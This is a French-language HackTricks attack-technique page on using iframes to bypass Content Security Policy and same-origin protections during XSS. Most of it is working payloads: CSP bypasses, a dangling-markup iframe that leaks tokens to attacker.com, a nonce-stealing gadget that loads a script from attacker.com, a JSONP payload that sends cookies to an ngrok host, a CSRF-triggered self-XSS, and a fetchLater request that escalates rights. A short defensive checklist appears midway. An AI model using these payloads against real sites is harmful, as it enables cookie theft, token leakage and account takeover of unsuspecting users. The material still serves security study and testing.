Iframes dans XSS, CSP et SOP

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Iframes dans XSS

Il existe 3 façons d’indiquer le contenu d’une page intégrée dans un iframe :

  • Via src indiquant une URL (l’URL peut être d’origine croisée ou de même origine)
  • Via src indiquant le contenu en utilisant le protocole data:
  • Via srcdoc indiquant le contenu

Accès aux variables Parent & Child

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Si vous accédez au HTML précédent via un serveur http (comme python3 -m http.server), vous remarquerez que tous les scripts seront exécutés (car il n’y a pas de CSP pour l’en empêcher). le parent ne pourra pas accéder à la variable secret à l’intérieur de n’importe quel iframe et seules les iframes if2 et if3 (qui sont considérées comme étant du même site) peuvent accéder au secret dans la fenêtre d’origine.
Notez comment if4 est considéré comme ayant une origine null.

Iframes avec CSP

Tip

Veuillez noter comment dans les contournements suivants, la réponse à la page intégrée ne contient aucun en-tête CSP qui empêche l’exécution de JS.

La valeur self de script-src n’autorisera pas l’exécution du code JS utilisant le protocole data: ou l’attribut srcdoc.
Cependant, même la valeur none de la CSP permettra l’exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l’attribut src.
Par conséquent, il est possible de contourner la CSP d’une page avec :

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Notez que le CSP précédent ne permet que l’exécution du script inline.
Cependant, seuls les scripts if1 et if2 vont être exécutés, mais seul if1 pourra accéder au secret parent.

Par conséquent, il est possible de contourner un CSP si vous pouvez télécharger un fichier JS sur le serveur et le charger via iframe même avec script-src 'none'. Cela peut potentiellement également être fait en abusant d’un point de terminaison JSONP de même site.

Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec script-src 'none'. Il suffit d’exécuter l’application et d’y accéder avec votre navigateur :

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nouvelles techniques de contournement CSP (2023-2025) avec des iframes

La communauté de recherche continue de découvrir des moyens créatifs d’abuser des iframes pour contourner des politiques restrictives. Vous pouvez trouver ci-dessous les techniques les plus notables publiées au cours des dernières années :

  • Exfiltration de données par dangling-markup / named-iframe (PortSwigger 2023) – Lorsqu’une application reflète du HTML mais qu’un CSP strict bloque l’exécution de scripts, vous pouvez toujours leak des tokens sensibles en injectant un attribut <iframe name> dangling. Une fois que le balisage partiel est analysé, le script de l’attaquant s’exécutant dans une origine séparée navigue le cadre vers about:blank et lit window.name, qui contient maintenant tout jusqu’au prochain caractère de citation (par exemple un token CSRF). Comme aucun JavaScript ne s’exécute dans le contexte de la victime, l’attaque évite généralement script-src 'none'. Un PoC minimal est :
<!-- Point d'injection juste avant un <script> sensible -->
<iframe name="//attacker.com/?">  <!-- attribut intentionnellement laissé ouvert -->
// cadre attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → valeur leakée
  • Vol de nonce via iframe de même origine (2024) – Les nonces CSP ne sont pas supprimés du DOM ; ils sont simplement cachés dans DevTools. Si un attaquant peut injecter un iframe de même origine (par exemple en téléchargeant du HTML sur le site), le cadre enfant peut simplement interroger document.querySelector('[nonce]').nonce et créer de nouveaux nœuds <script nonce> qui satisfont la politique, permettant une exécution JavaScript complète malgré strict-dynamic. Le gadget suivant élève une injection de balisage en XSS :
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Détournement de l’action de formulaire (PortSwigger 2024) – Une page qui omet la directive form-action peut voir son formulaire de connexion re-ciblé depuis un iframe injecté ou du HTML en ligne afin que les gestionnaires de mots de passe remplissent automatiquement et soumettent des identifiants à un domaine externe, même lorsque script-src 'none' est présent. Complétez toujours default-src avec form-action !

Notes défensives (liste de contrôle rapide)

  1. Envoyez toujours toutes les directives CSP qui contrôlent les contextes secondaires (form-action, frame-src, child-src, object-src, etc.).
  2. Ne comptez pas sur le fait que les nonces soient secrets—utilisez strict-dynamic et éliminez les points d’injection.
  3. Lorsque vous devez intégrer des documents non fiables, utilisez sandbox="allow-scripts allow-same-origin" très prudemment (ou sans allow-same-origin si vous avez seulement besoin d’une isolation d’exécution de script).
  4. Envisagez un déploiement COOP+COEP en profondeur ; le nouvel attribut <iframe credentialless> (§ ci-dessous) vous permet de le faire sans casser les intégrations tierces.

Autres charges utiles trouvées dans la nature

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Le contenu d’un iframe peut être soumis à des restrictions supplémentaires grâce à l’attribut sandbox. Par défaut, cet attribut n’est pas appliqué, ce qui signifie qu’aucune restriction n’est en place.

Lorsqu’il est utilisé, l’attribut sandbox impose plusieurs limitations :

  • Le contenu est traité comme s’il provenait d’une source unique.
  • Toute tentative de soumettre des formulaires est bloquée.
  • L’exécution de scripts est interdite.
  • L’accès à certaines API est désactivé.
  • Il empêche les liens d’interagir avec d’autres contextes de navigation.
  • L’utilisation de plugins via <embed>, <object>, <applet>, ou des balises similaires est interdite.
  • La navigation du contexte de navigation de niveau supérieur par le contenu lui-même est empêchée.
  • Les fonctionnalités qui sont déclenchées automatiquement, comme la lecture vidéo ou le focus automatique des contrôles de formulaire, sont bloquées.

Astuce : Les navigateurs modernes prennent en charge des drapeaux granulaires tels que allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, etc. Combinez-les pour accorder uniquement les capacités minimales requises par l’application intégrée.

La valeur de l’attribut peut être laissée vide (sandbox="") pour appliquer toutes les restrictions mentionnées ci-dessus. Alternativement, elle peut être définie sur une liste de valeurs spécifiques séparées par des espaces qui exemptent l’iframe de certaines restrictions.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Iframes sans identifiants

Comme expliqué dans cet article, le drapeau credentialless dans un iframe est utilisé pour charger une page à l’intérieur d’un iframe sans envoyer d’identifiants dans la requête tout en maintenant la même politique d’origine (SOP) de la page chargée dans l’iframe.

Depuis Chrome 110 (février 2023), la fonctionnalité est activée par défaut et la spécification est en cours de normalisation à travers les navigateurs sous le nom iframe anonyme. MDN la décrit comme : “un mécanisme pour charger des iframes tierces dans une nouvelle partition de stockage éphémère afin qu’aucun cookie, localStorage ou IndexedDB ne soit partagé avec la véritable origine”. Conséquences pour les attaquants et les défenseurs :

  • Les scripts dans différents iframes sans identifiants partagent toujours la même origine de niveau supérieur et peuvent interagir librement via le DOM, rendant les attaques de self-XSS multi-iframes réalisables (voir PoC ci-dessous).
  • Parce que le réseau est dépouillé d’identifiants, toute requête à l’intérieur de l’iframe se comporte effectivement comme une session non authentifiée – les points de terminaison protégés par CSRF échouent généralement, mais les pages publiques pouvant être divulguées via le DOM sont toujours dans le champ d’application.
  • Les pop-ups générés à partir d’un iframe sans identifiants obtiennent un rel="noopener" implicite, rompant certains flux OAuth.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exemple d’exploitation : Self-XSS + CSRF

Dans cette attaque, l’attaquant prépare une page web malveillante avec 2 iframes :

  • Une iframe qui charge la page de la victime avec le drapeau credentialless avec un CSRF qui déclenche un XSS (Imaginez un Self-XSS dans le nom d’utilisateur de l’utilisateur) :
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Une autre iframe qui a en fait l’utilisateur connecté (sans le drapeau credentialless).

Ensuite, depuis le XSS, il est possible d’accéder à l’autre iframe car elles ont la même SOP et de voler le cookie par exemple en exécutant :

alert(window.top[1].document.cookie);

fetchLater Attack

Comme indiqué dans cet article, l’API fetchLater permet de configurer une requête à exécuter plus tard (après un certain temps). Par conséquent, cela peut être abusé pour, par exemple, connecter une victime dans la session d’un attaquant (avec Self-XSS), définir une requête fetchLater (pour changer le mot de passe de l’utilisateur actuel par exemple) et se déconnecter de la session de l’attaquant. Ensuite, la victime se connecte dans sa propre session et la requête fetchLater sera exécutée, changeant le mot de passe de la victime pour celui défini par l’attaquant.

De cette manière, même si l’URL de la victime ne peut pas être chargée dans un iframe (en raison de CSP ou d’autres restrictions), l’attaquant peut toujours exécuter une requête dans la session de la victime.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes dans SOP

Vérifiez les pages suivantes :

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks